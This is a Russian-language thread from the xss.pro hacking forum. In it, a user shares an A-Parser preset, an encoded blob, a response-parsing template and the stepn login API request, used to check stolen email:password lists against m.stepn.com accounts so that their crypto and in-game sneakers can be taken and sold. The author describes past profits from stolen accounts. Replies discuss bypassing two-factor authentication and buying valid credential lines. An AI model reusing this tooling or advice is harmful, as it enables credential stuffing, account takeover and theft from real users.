• XSS.stack #1 – первый литературный журнал от юзеров форума

парсер Сбор криптовалюты у спортсменов

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник:
https://xss.pro

Bruteforce m.stepn.com написанный на JavaScript

Это еще один мой авторский проект написанный полностью на JavaScript на движке A-Parser. Запускаем A-Parser, импортируем пресет, загружаем файл в котором хранятся email:password, запускаем. Инструкция ниже
1705186261225.png

---пресет---
Код:
eJx1VW1z2jgQ/is6TRrMhDEhuZc5Z5ge5UovnRRyDZ18wKQj7MU4kSVXkiEZjv9+
K9lgh7vwBbQvz+4++8KWGqaf9K0CDUbTYLaluftNAxoWF73er+Ty959/ox2aM6VB
WZMZHYMJgr+m01uUx7BkBTe0s6XmJQf0k2tQKo0BlWmM70TKeCjde814gSazi/Pz
+a7hkZtUCr13iFYQPQ2lMCBM7UQftv7Z7gQFLI5T68A4DbavrL8wE62mDrS3272d
0uIlZ1oPuSziEWcKhisls0aCRhWwm887FLnA4vRIqoxZTmbvyCPpEyMl176j5PPd
ZOzlPT9mhrWvQhGK6xH56dHPdOJnNh2vdS0iqRREhhRIoWAZhGHXJrCRKm45J/Oj
APXiS5Um5DvxXrl/kjLhQAaFWWGJacSMVK02eU9a5B/SULZIQFqo+E5CGiImReCP
4z/Juzk9FHLH1jCVWMgy5VCLR/gaY16oOMFCwGr9pSvaa/vm2bxivWTDjkLN0DeR
/nBdEhJtbTUp6BGyiiIDDsCVuGdyRlfG5Drodlme8oWvDeTCj2TWVYXocpmk4j2L
IlkI0z9xnqd7xvpsEeHUJae2uf3L0xjWaQTXYin7G1hQzKlwyfxdJkGDJeMaOlRj
7SOGlcXHmtSAsqxOqjnEqZJiwPkNrIHXZi6ND0XKY1yEwRKdrivH/zeZ/Adjd+Cr
GQqHc6MwhwOKe32YfKm9YnkjE6QyXiCRPM1Sg289tPSg9ByFTwD5oQlj24RMKjiE
qZCr6LjvOQi7CfUMDPJa9KoMdxW0LFRkoZ0KTarNUpDAswOx37ik3uwhmJ+1A88/
a+/l5UaKgnP0k7b5Jcp8Vw9QIxoKIymWaTKp1nY/aoWY4rWaiKHMcg7mgIlr9bUe
5IGu+msfdeXHzkMXwnK6v2DUrfXnu5KDXKWY6i82wQxb1IxaQUaM829fb5oa66iN
zCfio1JHc+EmjsIzs8Z/JBmOoh34oHdxSS2YgUQiKViqpaW6t4fLvG1c3WCLx40+
6tvSxtZpLXbNCpaFiGzvydSKvDbZhmJnz9O0vF1KGml76Osiw4u2N/dYhyycMcGP
AlMoQRg5I4urN/wBb2YTIMJTfwxgbUrFWyglyff3902oWCJJ4hislKJHzlkEXvdh
s9mEod9NO/b87QMI2JSlX5Fut/J0byIXj3iL7bFH7jCM/a/4F6JxcFk=
1705229712934.png

Для чего нужен этот проект
Этот пресет проверяет email на регистрацию в stepn. Если аккаунт зарегистрирован, то сохраняет его в гуды. Полученные аккаунты ручками проверяются на баланс и на кроссовки. Да, кроссовки можно продать и получить криптовалюту.
Что такое stepn
m.stepn.com - это игра, которая платит вам криптовалютой за то что вы ходите. В приложении можно приобретать кроссовки, чинить их, улучшать, пополнять криптовалютный баланс(эфириум и другие сети поддерживаются). Сейчас, конечно, у stepn не лучшие годы, он был на хайпе до этих событий: https://xss.pro/threads/68052/
Но могу сказать, что за неделю до того, как приступил писать этот проект на конкурс нашел аккаунт с кроссовком на 200$ и успешно их продал. Так что все ок, проект жив. Можно использовать его в браузере m.stepn.com или скачать мобильное приложение. Если взглянуть на новости то не всех так плохо, как кажется.
1705186903942.png

Предыстория
Как все начиналось. В брутфорсе я давно:) Еще в школу ходил. Мы с товарищем работали по валиду азии, думали где найти новые проекты, которые хайпятся и вывод не составит труда. Сам я не сильно крутился в крипте, знал, как создать холодный кошелек и запросить средства))) Я обратился на соседний форум, раздал материала валидного и тут мне пишет в личку человек: "Мужик, мне зашла твоя базка оставь кош закину на чай". Даю ему кош и начинаю думать, я же дал отработку, где он смог достать крипту... К сожалению проект сразу определить не удалось. Мы стали с ним работать. Я ему поставлял валидные мыла, он с них снимал stepn балик и кроссы продавал. В один момент он мне пишет, что вот нашел аккаунт, не успел продать кросс, а пароль сменил холдер. Дает емейл и просит сбрутить. Я такой опаа))) Пора повбивать этот аккаунт по популярным криптосервисам. Я стал гуглить "самые популярные криптобиржи азии". И сидел вбивал... Думаю какого хрена нигде не зарегистрировано. Отдаю этот аккаунт другому знакомому, спустя часик он мне подсказал что это stepn. И сказал, что уже видел письма на почтах от этого сервиса. Я решил отписаться тому человеку, что нашел проект который он крутит. В итоге он посмеялся и рассказал мне, что сложнее всего это продать кроссовок, а не сервис этот заполучить. Он мне выдал 100 тысяч гудов и чекер. Договорились, что я подберу пароль к мылам и отдам ему. Ну он поснимал мне, не помню какой профит с этого вышел может 1500-2000$.
Создаем проект
В прошлой статье (https://xss.pro/threads/105597/) я уже рассказывал, как подойти к написанию брутфорсера на tronscan тут похожая ситуация поэтому некоторые моменты будут опущены. Я понимаю лень читать большие куски кода, особенно, когда ты не знаком с синтаксисом языка. Поэтому постараюсь рассказать так, чтобы даже новичку было понятно. A-Parser сам по себе очень гибкий и не обязательно прописывать разделение email:pass на JS. Реализуем это куда проще.
1705229022106.png

$query.query - это сам запрос, который используется по умолчанию для $query. С помощью регулярного выражения мы разбиваем $query на одну часть $1 to: query. То есть получаем email. А почему мы не делаем вот так:
1705229139089.png

$query.query это тоже самое, что и $query.
$2 нам не нужен, пароль может быть любой. Мы ведь определяем мыло зарегистрировано или нет, пароль нам неважен.
1705229268699.png

Используем опцию Bypass CloudFlare. Как она работает мне неизвестно, но лишним не будет, ведь stepn использует cloud.
Дальше надо парсить ответ от сервера и сохранять гуды, в зависимости от ответа. A-Parser использует шаблонизатор Template Toolkit. Ознакомиться тут: https://a-parser.com/docs/guides/template-toolkit/overview
Код:
[% j = tools.parseJSON(p1.data);

IF !j.msg.match('Incorrect username\/password');
    query.orig _ (j.msg.match('Google Authenticator') ? ' | Google Auth' : '') _ "\n";
END %]
1705230337429.png

query.orig используем потому что нужно email:pass сохранять (исходный запрос), а не просто email, который с помощью regex был разбит.
j хранит ответ от сервера в формате json. Если ответ не содержит Incorrect username/password, то сохраняем query (наш запрос).
Мы разбили строку email:password на email и сохранили ее как query, добавили обход CloudFlare, прописали условия в шаблонизаторе для сохранения гудов, ну и конечно же осталось сформировать запрос, который будет лететь к API, чтобы получать ответ в JSON.
Код:
https://apilb.stepn.com/run/login?account=$query&password=abcdefg&type=3&deviceInfo=web

Обратите внимание, что пароль может быть любой. Это абсолютно важно. Откуда я взял этот запрос? Зашел на m.stepn.com попытался войти в учетку и перехватил запрос, используя Burp Suite.

Нравится вам такой формат? Продолжать?

 

Вложения

  • 1705230329042.png
    1705230329042.png
    61.5 КБ · Просмотры: 163
Пожалуйста, обратите внимание, что пользователь заблокирован
А смотри такой вопрос, насколько мне не изменяет память, в Stepn устроено таким образом:

1). Не хочешь включать 2FA OTP - пользуйся логином по коду с почты, но тебе нельзя пароль
2). Хочешь вход по паролю - обязательно включи 2FA OTP

Сейчас тестово пытался войти в свой аккаунт по логину;паролю, получаю информацию:

Screenshot_1.png


Что по сути подтверждает мои слова выше.

Получается для успешного логина нам нужно не просто иметь пароль, а иметь либо доступ в почту, либо иметь еще и 2FA
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А смотри такой вопрос, насколько мне не изменяет память, в Stepn устроено таким образом:

1). Не хочешь включать 2FA OTP - пользуйся логином по коду с почты, но тебе нельзя пароль
2). Хочешь вход по паролю - обязательно включи 2FA OTP

Сейчас тестово пытался войти в свой аккаунт по логину;паролю, получаю информацию:

Посмотреть вложение 73600

Что по сути подтверждает мои слова выше.

Получается для успешного логина нам нужно не просто иметь пароль, а иметь либо доступ в почту, либо иметь еще и 2FA
Все верно. Доступ к почте нужен.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Все верно. Доступ к почте нужен.

Все, это я невнимательный, не дочитал пару слов в начале статьи, что этот пресет проверяет email на регистрацию в stepn

Увидел слово брутфорс, подумал, что это для брута учёток log;pass, от которых по факту толку 0.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А как ты снимешь, если сейчас на всех аккаунтах 2fa стоит для работы, шанс, что не будет 0.1%
На большинстве нет 2fa. По своим гудам сужу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У кого то остались валидные пас и мыло строки куплю, есть небольшой метод у меян обхода 2фа
Давай я тебе дам учетку с 2фа. Покажешь скрином что ты туда вошел.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что ребятки есть кто найдет способ обойти 2fa? MausKlaus нашел какой-то баг, скорее всего через андроид apk мод. Один раз получается убрать 2фа и просмотреть профиль, но при этом продать кроссовки или сделать любые другие манипуляции с учеткой нет. Вот как это выглядит. Он вводит любой код и его перекидывает на главную страничку
1705505625550.png
 

Вложения

  • 1705505611142.png
    1705505611142.png
    35.5 КБ · Просмотры: 127
Что ребятки есть кто найдет способ обойти 2fa? MausKlaus нашел какой-то баг, скорее всего через андроид apk мод. Один раз получается убрать 2фа и просмотреть профиль, но при этом продать кроссовки или сделать любые другие манипуляции с учеткой нет. Вот как это выглядит. Он вводит любой код и его перекидывает на главную страничку
Посмотреть вложение 73871
а ограничение на попытки есть? Брутфорс там не идет?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а ограничение на попытки есть? Брутфорс там не идет?
Ограничение есть. Это точно не брутфорс. Он мне видос записывал даже.
 
Не очень ты честно поступаешь , удалил телегу и всю переписку но скрины я делал)
Ограничение есть. Это точно не брутфорс. Он мне видос записывал даже.
 
Не очень ты честно поступаешь , удалил телегу и всю переписку но скрины я делал)
скрины от кредов? Очень наверное нужны тебе))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не очень ты честно поступаешь , удалил телегу и всю переписку но скрины я делал)
нечестно в каком плане? Я не захотел с тобой работать, взял удалил.
 
Ограничение есть. Это точно не брутфорс. Он мне видос записывал даже.
2fa, если не брутфорс, то только фиш. Компания выглядит серьезной, тем более в теме крипты. Поэтому баги будет сложновато найти.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да нет, просто мы как бы договорились а он удалил
Договорились на что? Ты мне не показал обход, я и сказал, что гуляй Василий, гуды не получишь. Если есть желание рассказать об обходе пиши статью, а не пиздаболь тут.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх